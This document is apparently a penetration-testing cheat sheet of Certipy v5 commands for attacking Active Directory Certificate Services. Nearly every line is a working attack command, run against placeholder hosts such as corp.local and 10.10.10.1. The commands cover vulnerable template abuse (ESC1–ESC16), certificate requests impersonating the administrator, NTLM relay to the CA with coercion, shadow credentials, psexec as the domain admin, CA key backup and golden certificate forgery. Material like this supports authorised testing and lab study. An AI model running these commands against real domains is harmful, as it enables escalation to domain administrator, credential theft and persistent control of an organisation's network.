Active Directory Certificate Services enumeration and abuse with Certipy v5 — ESC1 through ESC16, NTLM relay to AD CS (ESC8/ESC11), shadow credentials, and golden certificates.
certipy find -u [email protected] -p Password123 -dc-ip 10.10.10.1
certipy find -u [email protected] -p Password123 -dc-ip 10.10.10.1 -vulnerable -stdout
certipy find -u [email protected] -p Password123 -dc-ip 10.10.10.1 -vulnerable -enabled
certipy find -u [email protected] -hashes :NTLMhash -dc-ip 10.10.10.1 -bloodhound
certipy find -u [email protected] -p Password123 -dc-ip 10.10.10.1 -text -json
certipy req -u [email protected] -p Password123 -dc-ip 10.10.10.1 -target ca.corp.local -ca CORP-CA -template ESC1-Template -upn [email protected]
certipy req -u [email protected] -p Password123 -ca CORP-CA -template ESC1 -upn [email protected] -dns dc01.corp.local
certipy req -u [email protected] -p Password123 -ca CORP-CA -template ESC1 -upn [email protected] -sid S-1-5-21-XXXX-500
certipy req -u [email protected] -p Password123 -ca CORP-CA -template ESC2 -upn [email protected]
certipy req -u [email protected] -p Password123 -ca CORP-CA -template ESC3-CRA
certipy req -u [email protected] -p Password123 -ca CORP-CA -template User -pfx agent.pfx -on-behalf-of "corp\administrator"
certipy template -u [email protected] -p Password123 -dc-ip 10.10.10.1 -template VulnTemplate -write-default-configuration -save-configuration old.json
certipy req -u [email protected] -p Password123 -ca CORP-CA -template VulnTemplate -upn [email protected]
certipy template -u [email protected] -p Password123 -dc-ip 10.10.10.1 -template VulnTemplate -write-configuration old.json
certipy req -u [email protected] -p Password123 -ca CORP-CA -template User -upn [email protected]
certipy account update -u [email protected] -p Password123 -dc-ip 10.10.10.1 -user victim -upn administrator
certipy req -u [email protected] -p VictimPass -ca CORP-CA -template ESC9-NoSecExt
certipy account update -u [email protected] -p Password123 -dc-ip 10.10.10.1 -user victim -upn [email protected]
certipy ca -u [email protected] -p Password123 -ca CORP-CA -dc-ip 10.10.10.1 -add-officer user
certipy ca -u [email protected] -p Password123 -ca CORP-CA -enable-template SubCA
certipy ca -u [email protected] -p Password123 -ca CORP-CA -issue-request 1337
certipy req -u [email protected] -p Password123 -ca CORP-CA -retrieve 1337
certipy relay -target http://ca.corp.local -template DomainController
certipy relay -target rpc://ca.corp.local -ca CORP-CA -template DomainController
coercer coerce -u user -p Password123 -d corp.local -l 10.10.14.1 -t 10.10.10.1
certipy req -u [email protected] -p Password123 -ca CORP-CA -template ESC13-Template
certipy req -u [email protected] -p Password123 -ca CORP-CA -template WebServer -upn [email protected] -application-policies "Client Authentication"
certipy req -u [email protected] -p Password123 -ca CORP-CA -template User -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1 -username administrator -domain corp.local
certipy auth -pfx user.pfx -dc-ip 10.10.10.1 -ldap-shell
export KRB5CCNAME=administrator.ccache && impacket-psexec -k -no-pass corp.local/[email protected]
certipy shadow auto -u [email protected] -p Password123 -dc-ip 10.10.10.1 -account victim$
certipy ca -u [email protected] -p Password123 -ca CORP-CA -dc-ip 10.10.10.1 -backup
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected] -subject "CN=Administrator,CN=Users,DC=corp,DC=local"
certipy cert -pfx administrator.pfx -nokey -out admin.crt && certipy cert -pfx administrator.pfx -nocert -out admin.key